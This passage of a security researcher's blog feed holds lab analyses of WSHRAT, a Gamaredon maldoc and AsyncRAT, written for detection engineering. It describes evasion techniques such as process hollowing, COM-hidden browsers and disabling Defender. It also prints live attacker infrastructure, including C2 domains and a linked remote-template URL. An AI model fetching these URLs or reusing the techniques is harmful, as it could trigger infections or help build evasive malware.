hadn’t made a mistake in my lab setup; I had just collided with the fundamental difference between a Dropper and a Remote Access Trojan (RAT).</p><p><strong>The “Aha!” Moment</strong></p><p>Reviewing the static code revealed the glitch. If this were a standard dropper, it would execute its payload immediately upon detonation. But WSHRAT is a backdoor.</p><p>The code contained a synchronous while true loop. Upon execution, the malware sends an HTTP POST request to its C2 server (<strong>snkcyp.duckdns.org</strong>) asking “<strong>is-ready</strong>”. Because my lab was air-gapped, the request hit my local <strong>INetSim</strong> sinkhole, which replied with a generic, fake HTTP 200 OK webpage. The malware read that generic page, realised it wasn’t a valid command from its master, and simply went to sleep for 5 seconds (<strong>wscript.sleep 5000</strong>) before looping back to ask again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*H3q3Bb_8ddFWlLYe8pFn1Q.png" /><figcaption><strong><em>Figure 4:</em></strong><em> The getHost function (Lines 458–484). This logic confirms the hardcoded C2 domain and the failover mechanisms the malware utilises to maintain contact.</em></figcaption></figure><p>The brilliant fileless PowerShell injection I wanted to capture would only execute if the attacker’s C2 server explicitly replied with a command to deploy a plugin. Trapped in the sinkhole, the malware was stuck in an infinite “phone home” loop.</p><p><strong>The Network Blindspot</strong></p><p>Even though the injection didn’t fire, the malware was still actively running. I verified this in Process Explorer. A hidden <strong>wscript.exe</strong> process was actively running with the <strong>//B</strong> flag, not from my Desktop where I detonated it, but from the <strong>%appdata%\Roaming</strong> folder. The malware had successfully copied itself and established persistence.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*F01LvYHTh7i6L0LfTytujw.png" /><figcaption><strong><em>Figure 5:</em></strong><em> Process Explorer verifying the active execution of the hidden wscript.exe process running from the AppData persistence location.</em></figcaption></figure><p>But when I pivoted to my REMnux machine to view the Wireshark capture, the network was completely devoid of DNS or HTTP traffic. The malware was active, but the wire was silent, as the Wireshark capture only showed background ARP and broadcast noise, completely failing to capture the malware’s active unicast DNS requests.</p><p>I realised I was facing a virtualised routing blindspot. My Windows machine (.128) was using the default VMware virtual router (.254) as its DNS server. When the malware requested the IP for <strong>snkcyp.duckdns.org</strong>, it sent a direct, private Unicast message to the router. Because my <strong>REMnux</strong> machine (.129) was just sitting adjacent on the network, it was blind to that private conversation. The air-gapped router simply dropped the request, and the malware failed to connect.</p><p><strong>The Trap Snaps</strong></p><p>To force INetSim to intercept the traffic, I had to force Windows to ask <strong>REMnux</strong> for directions instead of the virtual router. I opened the Windows IPv4 adapter settings and manually overrode the Preferred DNS server to point directly to my REMnux IP (192.168.134.129).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/348/1*8qsgtWaTJQQTZ2vkqgW6NQ.png" /><figcaption><strong><em>Figure 6:</em></strong><em> Manually re-routing the Windows Preferred DNS server to the REMnux analysis gateway to intercept Unicast traffic.</em></figcaption></figure><p>I flushed the DNS cache. Because the malware was still trapped in its 5-second sleep loop, I didn’t even need to restart it.</p><p>Within seconds, the Wireshark interface exploded with traffic. <strong>INetSim</strong> successfully lied to the malware, claiming to host <strong>snkcyp.duckdns.org</strong>. The malware began aggressively firing its DNS queries and HTTP beacons. I also captured a secondary query to <strong>ip-api.com</strong>, proving the script’s internal <strong>getCountry()</strong> function was attempting to geolocate my lab to report back to the attacker. The network trap had snapped shut.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*vC0_k3m-KuaNg4u74hWA1g.png" /><figcaption><strong><em>Figure 7:</em></strong><em> Wireshark successfully captures the malware’s active DNS queries to its C2 domain and the ip-api.com geolocation service following the routing fix.</em></figcaption></figure><p><strong>Execution Analysis &amp; Evasion</strong></p><p>Once the network was correctly routed, the malware continued its execution, attempting to elevate its privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*xqm9hfrmbRd5147zDxk2jQ.png" /><figcaption><strong><em>Figure 8:</em></strong><em> The disable-uac logic (Lines 165–173). This block modifies registry keys to explicitly disable UAC and Windows Defender defences, a dangerous capability that requires high-integrity execution.</em></figcaption></figure><p>Finally, I analysed the core RAT engine, which functions as a command dispatcher for the attacker.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/494/1*5eo1b1PHaHGGcfNdh3BIKg.png" /><figcaption><strong><em>Figure 9:</em></strong><em> The command switch statement (Lines 212–213). This brain of the Trojan allows the attacker to issue commands like kill-process to maintain control over the victim host.</em></figcaption></figure><p><strong>The Memory Trap: Dynamic YARA Testing</strong></p><p>To finalise the investigation, I engineered a behaviour-based YARA rule targeting the threat actor’s signature strings, the C2 domain, and the registry keys used for the fileless PowerShell injection.</p><p>However, detection engineering requires precision. During my first test, the YARA compiler threw a strict error: unreferenced string <strong>“$reg_runpe</strong>”. I had defined the registry string in my variables, but forgot to append it to the condition logic at the bottom of the rule.</p><p>After correcting the logic, I didn’t just want to scan the dead file on the disk. Because of the <strong>malware.vbs</strong> payload was still actively trapped in its execution loop under <strong>wscript.exe</strong> (PID 8004), so I ran the YARA scanner directly against the live process memory using the <strong>-s</strong> flag to expose exactly which strings triggered the alert.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*NxFT89bcpLnuSXPs6ndvWQ.png" /><figcaption><strong><em>Figure 10</em></strong><em>: Terminal output showing the successful compilation and execution of the custom YARA rule. Scanning the live memory of PID 8004 returned definitive matches for the Threat Actor’s Skype handle, the C2 domain, and the Process Hollowing PowerShell commands.</em></figcaption></figure><p><strong>Key Takeaways, Lessons Learned &amp; Personal Reflections</strong></p><ul><li><strong>The Frustration of the Blindspot:</strong> Troubleshooting the DNS routing issue was incredibly frustrating but ultimately rewarding. It is a stark reminder that in a lab, the environment is the analysis. My initial failure to capture the C2 traffic wasn’t a flaw in the malware, but a configuration error in my own virtual routing. Never assume your sensors are perfectly placed.</li><li><strong>Understand the Trigger:</strong> Backdoors don’t always behave like droppers. Identifying the synchronous “is-ready” loop was the key to understanding why the fileless PowerShell payload remained dormant without an attacker’s green light.</li><li><strong>Compilers are Unforgiving:</strong> The YARA unreferenced string error was a humbling reminder that security tools operate on absolute logic. Writing detection rules requires just as much rigorous debugging as writing the malware itself.</li></ul><p><strong>Technical Resources</strong></p><p>· <strong>Detection Engineering:</strong> <a href="https://github.com/svet-angelov/CTI-YARA-Rules/blob/main/WSHRAT_Houdini_VBS_Dropper.yar">View the custom YARA rule here</a></p><p>· <strong>IoC Publication:</strong> <a href="https://otx.alienvault.com/pulse/6a427b0555e3aa78c4a6fc41">Access the full list of IoCs on AlienVault OTX</a></p><h3><strong>Technical Incident Report: WSHRAT (Houdini) Dropper Evasion &amp; Infrastructure Analysis</strong></h3><ul><li><strong>Report ID:</strong> 2026–06–28-WSH-01</li><li><strong>Classification:</strong> TLP:CLEAR</li><li><strong>Subject:</strong> Fileless Process Hollowing, VBScript Obfuscation, and Network Beaconing of WSHRAT (Houdini) Payload</li></ul><p><strong>Executive Summary</strong></p><p>A detailed behavioural and network analysis was performed on a VBScript variant of the WSHRAT/Houdini malware inside a restricted laboratory environment. The payload operates as a remote access trojan that initially establishes persistence within the AppData directory. The malware utilises a synchronous execution loop to beacon a hardcoded command and control (C2) server. While secondary fileless PowerShell injection techniques (Process Hollowing into MSBuild.exe) are present in the code, their execution is strictly dependent on receiving valid command triggers from the C2 infrastructure. Custom network routing and packet-level inspection successfully intercepted the payload’s outbound command beacon and geolocation requests.</p><p><strong>List of Affected Entities</strong></p><ul><li><strong>Internal Source (Assigned):</strong> 192.168.134.128 (Windows 10 Lab Workstation / Hostname: DESKTOP-KHTFPG0 / Local User: Analyst).</li><li><strong>Target Identity:</strong> Malicious Command and Control Node (snkcyp.duckdns.org) and third-party Geolocation API (ip-api.com).</li><li><strong>Attacker IP:</strong> 192.168.134.129 (Redirected locally via manual DNS routing to INetSim network sinkhole topology).</li><li><strong>Identity:</strong> WSHRAT / Houdini (VBScript Payload / Hash: 207ac97e60aeb989a14feaae8a365f5b35233ac7800f1357b325a0bd8d3bdd5c).</li><li><strong>VPN Gateway:</strong> None (Host execution isolated strictly within a non-routing host-only architecture).</li><li><strong>External Actor:</strong> “kognito” (Identified via internal script comments: recoder : kognito © skype : live:unknown.sales64).</li></ul><p><strong>Technical Findings &amp; Analysis Steps</strong></p><p><strong>1. Static Code Analysis &amp; Persistence Mechanism:</strong> Initial static analysis of the un-obfuscated <strong>.vbs</strong> payload revealed hardcoded configuration variables, including the C2 host (<strong>snkcyp.duckdns.org</strong>), operating port (<strong>3369</strong>), and target installation directory <strong>(%appdata%).</strong> Upon execution, the script verifies its current running directory. If it is not executing from <strong>%appdata%</strong>, it copies itself to the target location, utilises <strong>wscript.exe //B</strong> to silently launch the newly copied instance, and terminates the original process.</p><p><strong>2. Anti-Virus Reconnaissance:</strong> The payload includes a dedicated function security block designed to perform local system reconnaissance. It utilises Windows Management Instrumentation (WMI) to query <strong>winmgmts:\\localhost\root\securitycenter2</strong> (or <strong>securitycenter</strong> for legacy OS versions), extracting the display names of installed Antivirus products to transmit back to the C2 infrastructure.</p><p><strong>3. Fileless Execution Mechanism (Process Hollowing):</strong> The script contains dormant, highly advanced execution capabilities designed to evade disk-based heuristics. The <strong>faceMask</strong> function reveals a sequence that stores Base64-encoded payload blocks directly into the Windows Registry (<strong>HKCU\SOFTWARE\Microsoft\mPluginC and mRunPE</strong>). A hidden PowerShell instance is then spawned to reflectively load the injector string directly into system memory ([<strong>System.Reflection.Assembly]::Load</strong>), bypassing the disk entirely, before hollow-injecting the malicious RAT payload into a newly spawned, legitimate <strong>MSBuild.exe</strong> process.</p><p><strong>4. C2 Beaconing &amp; Geolocation:</strong> Because the malware functions as a backdoor rather than a pure dropper, the aforementioned PowerShell injection is gated behind a synchronous while true loop. The malware repeatedly attempts an HTTP POST request (“<strong>is-ready</strong>”) to the C2 domain. By modifying the local host IPv4 DNS adapter settings to force resolution through the REMnux sinkhole, packet capture analysis confirmed active DNS queries to the hardcoded C2 domain, as well as subsequent queries to <strong>ip-api.com</strong>, confirming the payload’s routine to geolocate the victim’s country code (e.g., cc = “01”, cn = “Unknown”) for threat actor telemetry tracking.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a2ad3dad4474" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Invisible Macro: Defeating Gamaredon’s Remote Template Injection and COM Hijacking]]></title>
            <link>https://medium.com/@svetli80/the-invisible-macro-defeating-gamaredons-remote-template-injection-and-com-hijacking-df4efca1fe94?source=rss-9a493c1fbd7a------2</link>
            <guid isPermaLink="false">https://medium.com/p/df4efca1fe94</guid>
            <category><![CDATA[gamaredon]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[dfir]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[detection-engineering]]></category>
            <dc:creator><![CDATA[Svetoslav]]></dc:creator>
            <pubDate>Wed, 17 Jun 2026 10:34:31 GMT</pubDate>
            <atom:updated>2026-06-17T10:34:31.004Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*QChAHuTrwIvKyE407yBIiQ.png" /><figcaption><strong><em>Figure 1</em>:</strong> The Gamaredon APT execution chain. The payload utilises OpenXML compression evasion, Remote Template Injection, and COM automation to launder malicious network requests through an invisible Internet Explorer process.</figcaption></figure><p>Malware analysis is rarely a straight line from detonation to detection. We build isolated labs, set up our sinkholes, and write our signatures, expecting the malware to behave exactly as the textbooks describe. But advanced threat actors don’t read our textbooks.</p><p>Recently, I pulled down a suspected malicious document from a threat feed, fully expecting to spend an hour deobfuscating some messy VBA macros. Instead, I found myself in a high-friction battle against laboratory networking quirks, file structure manipulation, and deep Windows operating system evasion tactics.</p><p>This is the story of hunting a Gamaredon APT payload, where the absence of a macro was the loudest alarm of all.</p><p><strong>The Missing Engine</strong></p><p>The investigation began in my standard air-gapped environment: a REMnux analysis gateway and a Windows 10 victim host. I dropped the sample, masquerading as a legacy <strong>.doc</strong> file, onto the Windows desktop. With Sysmon, Wireshark, and Process Explorer armed, I double-clicked the file.</p><p>Nothing happened. Or rather, a standard Windows prompt appeared asking me how I wanted to open the file. I had hit my first environmental roadblock: my victim VM did not have Microsoft Office installed. Without <strong>winword.exe</strong> to interpret the visual basic code, the document was effectively a harmless brick.</p><p>Instead of pausing to install a multi-gigabyte Office suite, I decided to pivot immediately to static analysis on my REMnux machine. I spun up a quick Python web server on the Windows host (<strong>python -m http.server 8000</strong>) to transfer the file across the virtual network to REMnux. I ran a standard <strong>wget</strong> command, pulled the file, and fired <strong>olevba</strong> at it to rip out the macros.</p><p><strong>The Silent Blueprint</strong></p><p>After I ran <strong>olevba</strong>, I was expecting to see heavily obfuscated Visual Basic code. The tool completed its scan and returned a chilling result: <strong><em>No VBA or XLM macros found</em></strong><em>.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*2ypGWIUP2D6ViHLXkPDQ0Q.png" /><figcaption><strong><em>Figure 2:</em></strong><em> olevba output indicating an absence of native macros.</em></figcaption></figure><p>When dealing with Advanced Persistent Threats (APTs), a completely clean document is highly suspicious. I suspected the threat actor was using <strong>Remote Template Injection</strong>. Instead of embedding the macro directly into the file where an antivirus can easily spot it, the attacker hides an external URL in the document’s metadata. When Word opens the file, it reaches out to the internet, downloads a macro-enabled template into memory, and executes it silently.</p><p>To prove this, I used <strong>oleobj</strong> to parse the underlying OLE relationships. The output was a brilliant piece of tradecraft. The actor had flooded the document with dozens of legitimate decoy hyperlinks pointing to Ukrainian regional news sites and Facebook groups to blind automated sandbox scanners. But buried at the very bottom of the relationship tree was the smoking gun: an <strong>attachedTemplate</strong> linking out to <a href="http://prick.falcon62.freebsdo.ru/DESKTOP-6NRN62F/glimpse/council/glimpse/nay.p3l."><strong>http://prick.falcon62.freebsdo.ru/DESKTOP-6NRN62F/glimpse/council/glimpse/nay.p3l.</strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*qDPsgrde6B0PlbmEn_DI3g.png" /><figcaption><strong><em>Figure 3:</em></strong><em> Unmasking the Remote Template Injection mechanism hidden among dozens of decoy Ukrainian social media links.</em></figcaption></figure><p><strong>The Evasion Proxy: COM Hijacking</strong></p><p>Having extracted the network indicator statically, I needed to see exactly how this execution looked on a live host. By reviewing sandbox process telemetry for this specific file hash, I uncovered a highly sophisticated endpoint evasion technique.</p><p>When a standard maldoc detonates, you usually see <strong>winword.exe</strong> spawning a noisy scripting engine like <strong>cmd.exe</strong> or <strong>powershell.exe</strong>. But this Gamaredon payload utilised Component Object Model (COM) automation. The process tree showed <strong>WINWORD.EXE</strong> passing the <strong>/Automation -Embedding</strong> flags to stand up a hidden background instance.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*_fEV2HjF-q0QpUajH6P3Lw.png" /><figcaption><strong><em>Figure 4: </em></strong><em>The sandbox process tree exposing the COM automation pivot, where Word silently launches an invisible Internet Explorer session.</em></figcaption></figure><p>This background instance didn’t execute the download itself. Instead, it spawned <strong>iexplore.exe</strong> (Internet Explorer) with an <strong>-Embedding</strong> flag, forcing the browser to run completely invisibly. It was the invisible IE process that actually reached out to the <strong>.ru</strong> infrastructure to download the <strong>.p3l</strong> template. If an enterprise defender were only looking at network logs, they wouldn’t see Microsoft Word acting maliciously, they would just see normal web browsing traffic from Internet Explorer.</p><p><strong>The Final Hurdle: Defeating the Disk</strong></p><p>With the network mechanism understood, I wrote a custom YARA rule to catch the malicious <strong>attachedTemplate </strong>and .<strong>ru</strong> string sitting dormant on the disk. I ran the scanner against the payload on my Windows machine.</p><p>Zero hits.</p><p>I knew the string was in there, so why did YARA fail? I realised I had fallen for one of the oldest file-extension tricks. The file was named <strong>Gamaredon.doc</strong>, implying a legacy binary format. But under the hood, it was actually a modern OpenXML document (<strong>.docx</strong>), which is literally just a ZIP archive of XML files. YARA was scanning compressed binary gibberish. The strings were heavily zipped.</p><p>To defeat this, I manually extracted the <strong>.doc </strong>file into a folder, exposing the raw XML components. I ran YARA again, this time adding the <strong>-r</strong> flag for a recursive scan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*E8auW6YW9YdCjQHPx-Vcbw.png" /><figcaption><strong><em>Figure 5</em></strong><em>: The YARA rule successfully triggers on the extracted settings.xml.rels file, defeating the OpenXML compression wrapper.</em></figcaption></figure><p>The terminal instantly lit up. YARA bypassed the compression evasion and successfully flagged the <strong>settings.xml.rels</strong> file, exactly where Microsoft Word stores its external template blueprints. The hunt was complete.</p><p><strong>Key Takeaways and Lessons Learned</strong></p><p><strong>Trust Nothing, Verify Everything:</strong> File extensions are merely suggestions. The fact that an OpenXML <strong>.docx</strong> was masquerading as a .<strong>doc</strong> completely broke my initial YARA scans until I recognised the compression wrapper.</p><p><strong>The Network is the Great Equaliser:</strong> While the malware successfully used COM hijacking to mask its execution behind an invisible Internet Explorer process on the host, it still required a cleartext HTTP request to fetch the external <strong>.p3l</strong> template. Perimeter monitoring and active network threat hunting remain critical for uncovering endpoint-evasive initial access vectors.</p><p><strong>Technical Resources</strong></p><p><strong>Detection Engineering:</strong> <a href="https://github.com/svet-angelov/CTI-YARA-Rules/blob/main/Gamaredon.yar">View the custom YARA rule here</a></p><p><strong>IoC Publication:</strong> <a href="https://otx.alienvault.com/pulse/6a2eab37e38abd8319f513d8">Access the full list of IoCs on AlienVault OTX</a></p><h3><strong>Technical Incident Report: Gamaredon APT Remote Template Injection &amp; COM Hijacking</strong></h3><p>· <strong>Report ID:</strong> 2026–06–13-GAM-01</p><p>· <strong>Classification:</strong> TLP:CLEAR</p><p>· <strong>Subject:</strong> Structural Evasion, Remote Template Injection, and COM Browser Hijacking by Gamaredon APT</p><p><strong>Executive Summary</strong></p><p>A technical analysis was performed on a malicious OpenXML document disguised as a legacy <strong>.doc</strong> file, attributed to the Gamaredon APT group (UAC-0010). The sample utilises Remote Template Injection to completely avoid embedding malicious VBA macros locally, successfully bypassing standard static signature engines. Upon execution, the payload leverages COM automation to spawn a hidden Internet Explorer instance (<strong>iexplore.exe -Embedding</strong>), which acts as an execution proxy to fetch a heavily obfuscated macro template (<strong>.p3l</strong>) from remote attacker-controlled infrastructure.</p><p><strong>List of Affected Entities</strong></p><p>· <strong>Internal Source (Assigned):</strong> 192.168.134.10 (Windows 10 Lab Workstation / Hostname: Analyst). Note: The threat actor’s infrastructure URI path dynamically tracks targeted hostnames, identified in this campaign as DESKTOP-6NRN62F.</p><p>· <strong>Target Identity:</strong> Regional public councils, administrative departments, and localised user groups situated in eastern Ukraine (specifically targeting regions including Luhansk, Severodonetsk, and Lysychansk).</p><p>· <strong>Attacker IP:</strong> Domain not actively resolving during time of analysis (Fast-Flux infrastructure).</p><p>· <strong>Identity:</strong> Gamaredon APT (Also tracked as Armageddon, ACTINIUM, Primitive Bear, or UAC-0010).</p><p>· <strong>VPN Gateway:</strong> The threat actor utilises fast-flux dynamic subdomains registered under third-party infrastructure providers to mask primary routing and bypass perimeter geofencing.</p><p>· <strong>External Actor:</strong> State-sponsored cyber espionage operations focusing on persistent tracking, initial access, and subsequent data exfiltration within target networks.</p><p><strong>Technical Findings &amp; Analysis Steps</strong></p><p><strong>1. Anti-Analysis and Decoy Mechanisms</strong></p><p>The document’s internal OpenXML relationship tables (<strong>document.xml.rels</strong>) are heavily saturated with benign hyperlinks pointing to regional Ukrainian news portals (<strong>ostro.org</strong>, <strong>cxid.info</strong>) and localised social media hubs. This structural layout serves to flood automated sandbox network logs with trusted regional traffic, establishing context validity and masking the single malicious outbound request.</p><p><strong>2. The Remote Injection Mechanism</strong></p><p>Because the document contains no embedded macros, standard endpoint detection rules inspecting files on disk evaluate the file as benign. Execution progresses through the following hidden phases:</p><p>· <strong>File Read:</strong> The local document is launched, unzipping the OpenXML structure into memory.</p><p>· <strong>Relationship Trigger:</strong> Word reads the <strong>word\_rels\settings.xml.rels</strong> file and identifies an <strong>attachedTemplate</strong> property.</p><p>· <strong>Cleartext Callout:</strong> An HTTP GET request is triggered to fetch the macro-enabled template <strong>nay.p3l</strong> from <strong>prick.falcon62.freebsdo.ru</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*Hf7oo1gi7Y8cvfiOsvEFzw.png" /><figcaption><strong><em>Figure 6</em></strong><em>: Global OSINT correlation confirming the local sandbox telemetry callout to the external fast-flux infrastructure.</em></figcaption></figure><p><strong>3. Endpoint Execution Telemetry (COM Hijacking)</strong></p><p>To bypass endpoint network monitoring that flags Microsoft Office applications reaching out to unapproved domains, the payload utilises a dual-stage Component Object Model (COM) hijacking sequence.</p><p>· <strong>PID 2664 (WINWORD.EXE):</strong> The initial weaponised document is launched by the user.</p><p>· <strong>PID 6248 (WINWORD.EXE):</strong> The macro instructions trigger a secondary instance utilising the <strong>/Automation -Embedding</strong> flags, standing up a hidden background instance of Word.</p><p>· <strong>PID 7096 &amp; 3348 (iexplore.exe):</strong> The hidden Word instance utilises COM to spawn Internet Explorer with the <strong>-Embedding</strong> flag. This renders the browser completely invisible to the user. The child IE process (PID 3348) executes the actual network request to the <strong>.ru</strong> domain, effectively laundering the malicious traffic through a trusted web browsing application.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=df4efca1fe94" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Glitch in the Code: Trapping AC Between the SIEM and the Wire]]></title>
            <link>https://medium.com/@svetli80/the-glitch-in-the-code-trapping-ac-between-the-siem-and-the-wire-456c0e867174?source=rss-9a493c1fbd7a------2</link>
            <guid isPermaLink="false">https://medium.com/p/456c0e867174</guid>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[asyncrat]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Svetoslav]]></dc:creator>
            <pubDate>Sun, 07 Jun 2026 13:54:18 GMT</pubDate>
            <atom:updated>2026-06-07T13:54:18.233Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/920/1*G9wOYAwz6n3a61qTFWCtDA.png" /></figure><p>Malware analysis rarely goes exactly according to the textbook. You fire up your isolated virtual lab environment, map out your subnet, and prepare your monitoring tools, expecting the payload to neatly reveal its secrets. But the reality of threat hunting is a chaotic game of friction.</p><p>Recently, I conducted a live detonation of an <strong>AsyncRAT</strong> sample inside my laboratory.</p><p>My objective was straightforward: isolate the payload within a closed, host-only network, observe its host-level behaviour using a Security Information and Event Management (SIEM) pipeline, and extract its Command and Control (C2) network architecture on the wire.</p><p><strong>Fighting the Host Environment</strong></p><p>My investigation began by setting up a pristine, air-gapped lab topology. Before transferring the live malware into the environment, I verified the integrity of the airgap to ensure the virtual machine was securely locked down and unable to leak real-world packets. Once the sample was dropped onto the desktop, it originally appeared as a massive 64-character SHA-256 hash. To clean up my workspace and streamline my future Splunk log queries, I explicitly renamed the sample to <strong>AsyncRAT.exe</strong>.</p><p>With the watchers armed, Process Explorer running as Administrator, Wireshark monitoring the network interfaces, and Splunk actively tailing Sysmon events, I double-clicked the binary. Nothing happened. Or rather, a split second after detonation, a Windows Security error box flashed onto the screen: <em>“</em><strong><em>Windows cannot find ‘MSTeamsSetup-x64.exe’…</em></strong><em>”</em> I knew for a fact that this wasn’t Windows Defender blocking it. I had completely killed the Defender service from the command prompt during my earlier lab setups. It was entirely dead and non-functional, yet something was still silently disrupting my payload before it could execute.</p><p>I suspected the silent assassin might be Windows SmartScreen, which can operate independently of the primary antivirus engine to filter file execution loops. But I wasn’t entirely sure. To test this theory and attempt to clear any hidden operating system blocks, I decided to bypass the graphical interface entirely and disable the feature. I injected an explicit set of policy overrides directly into the local registry hive via PowerShell and initiated a hard reboot of the virtual machine. However, my registry modifications didn’t solve the mystery. When I booted back up, re-extracted the malware, and ran it again, the exact same error message flashed right back onto the screen. The problem wasn’t a security quarantine at all, which meant I had to dig much deeper to find out why the execution chain was breaking.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*Oi86LOw_D7s76qALLLeQIA.png" /><figcaption><strong>Figure 1</strong>: Windows error dialogue box</figcaption></figure><p><strong>The Dropper Glitch and the Holding Pattern</strong></p><p>I detonated the binary a second time. This time, the execution behaviour shifted dramatically. A command prompt window blinked onto the screen for a fraction of a second, followed immediately by the same exact error message: <em>“</em><strong><em>Windows cannot find ‘MSTeamsSetup-x64.exe’</em></strong><em>.”</em> However, when I checked Process Explorer, I realised I had hit forensic gold. The malware hadn’t crashed. It was actively running right in front of me.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*hkb3Dd9TKqpsPM5MhLPn7w.png" /><figcaption><strong>Figure 2:</strong> Process Explorer exposing the active AsyncRAT execution tree held open by the unclosed Windows error dialogue box.</figcaption></figure><p>By inspecting the live process tree, I discovered that <strong>AsyncRAT.exe</strong> operates as a multi-stage dropper. Its first instruction was to launch itself, check for administrative privileges, and immediately spawn an elevated twin process of itself. By viewing the process properties, I observed this secondary process passing an explicit string of runtime switches to the command line: <strong>-el -s2 “-dC:\Windows” “-sp”</strong>. The <strong>-el</strong> argument triggered an elevation loop, forcing the malware to run at a High Integrity level.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*hTPQgvm7OJvo6zn9mSUNoQ.png" /><figcaption><strong>Figure 3</strong>: Process Explorer detailing the active AsyncRAT execution tree, with the properties window exposing the -el and -s2 command-line arguments passed to the child process.</figcaption></figure><p>Crucially, the malware was programmed to wait synchronously for the child process to return a successful execution signal before cleaning up its tracks. As long as that error box remained open on the desktop, the malware was trapped in a permanent holding pattern, forcing it to remain alive in system memory. The second I clicked “OK”, the error closed, a failure code was sent back to the parent process, and the malware instantly terminated itself to avoid detection. By simply leaving the error box completely unclosed, I had all the time I needed to audit its behaviour.</p><p>While the malware was suspended in this artificial holding pattern, it didn’t just sit idle on the host; it actively attempted to establish its Command and Control channel. Pivoting over to my network capture, I watched the wire light up. The Windows host was aggressively sending standard DNS queries to resolve a specific, highly suspicious domain: <strong>8989ktw.com</strong>. My REMnux sinkhole, however, was rejecting the queries with ICMP “Port unreachable” errors due to a local configuration conflict. Even though the connection failed, the malware had tipped its hand. I now had the exact C2 domain I needed to trap it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*wssDXBsrxD6X8HkijGlByg.png" /><figcaption><strong>Figure 4:</strong> Wireshark packet capture revealing the suspended malware’s repeated DNS queries to resolve its C2 domain, 8989ktw.com, which were met with ICMP destination unreachable errors.</figcaption></figure><p><strong>The Filtered SIEM and the Unfiltered Wire</strong></p><p>To extract the network infrastructure, I moved over to my REMnux machine to configure <strong>INetSim </strong>as a fake internet sinkhole. However, my Wireshark capture was immediately flooded with black text: ICMP Destination unreachable (Port unreachable). Ubuntu’s local DNS service, <strong>systemd-resolved</strong>, was holding a death-grip on Port 53, preventing<strong> INetSim’s</strong> DNS module from initialising.</p><p>I attempted to resolve the port conflict by killing the background daemon and modifying<strong> /etc/inetsim/inetsim.conf </strong>to listen on all network interfaces.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/427/1*loJKhdlTh5K_ln69E686dA.png" /><figcaption><strong>Figure 5:</strong> Modifying the INetSim configuration file to bind to 0.0.0.0 and attempt to route DNS replies back to the REMnux gateway.</figcaption></figure><p>Despite applying these heavy clearing protocols, the <strong>Destination unreachable</strong> errors stubbornly persisted. The malware’s DNS queries were still failing to resolve properly.</p><p>Instead of playing whack-a-mole with local DNS queries, I executed a classic analyst bypass. I navigated to <strong>C:\Windows\System32\drivers\etc\</strong> on the Windows host and edited the local hosts file. I manually bound the domain name I caught the malware beaconing for directly to my REMnux IP: <strong>192.168.134.129 8989ktw.com</strong></p><p>I flushed the Windows DNS cache using <strong>ipconfig /flushdns</strong> and detonated the malware once more, keeping the error box open. The network trap snapped shut perfectly.</p><p>Because of the hosts file modification, the malware completely bypassed external DNS queries and routed its traffic directly to my REMnux IP over Port 443. In Wireshark, I captured the clean, unmistakable three-way TCP handshake: <strong>SYN, SYN-ACK, and ACK.</strong></p><p>Immediately following the handshake, the malware initiated a secure session by sending a <strong>TLS Client Hello </strong>packet. By inspecting the handshake properties, I pulled the exact Server Name Indication (SNI), confirming that the malicious infrastructure target was <strong>8989ktw.com</strong>.</p><p>But right after the <strong>Client Hello</strong>, the entire conversation collapsed. The malware instantly transmitted a <strong>FIN-ACK</strong> packet and severed the connection. This brief network session exposed a critical defensive check: <strong>AsyncRAT</strong> enforces strict <strong>SSL Certificate Pinning</strong>. The millisecond <strong>INetSim</strong> responded with its default, untrusted self-signed certificate, the malware recognised that it was trapped inside an interception sandbox, and tore down its own command channel.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*LaH9Sa1cn9PbmsR7mPFM3A.png" /><figcaption><strong>Figure 6:</strong> Wireshark capture showing the successful TCP handshake, the Client Hello identifying the C2 domain, and the immediate FIN-ACK teardown triggered by the certificate mismatch.</figcaption></figure><p>When I checked my Splunk dashboard to review my host logs, I ran into a final hunting roadblock. Entering explicit queries like <strong>index=sysmon EventCode=3 DestinationPort=443</strong> returned absolutely zero results. The endpoint had gone entirely dark.</p><p>This was a major real-world lesson in SIEM engineering. My laboratory environment was utilising a highly tuned corporate Sysmon profile designed to suppress noisy logs. Because standard web browsers generate thousands of routine connections over Port 443 every hour, the enterprise configuration was explicitly dropping these network events to protect SIEM storage pipelines from being overwhelmed by noise.</p><p>To circumvent this restriction, I abandoned the strict field filters and wrote a broad, raw keyword search targeting my entire malware workspace directory<strong>: index=sysmon “*Malware_Zone*”</strong>. The query was a massive success, carving out exactly <strong>5 specific events</strong> from the raw logs. By diving directly into the XML data 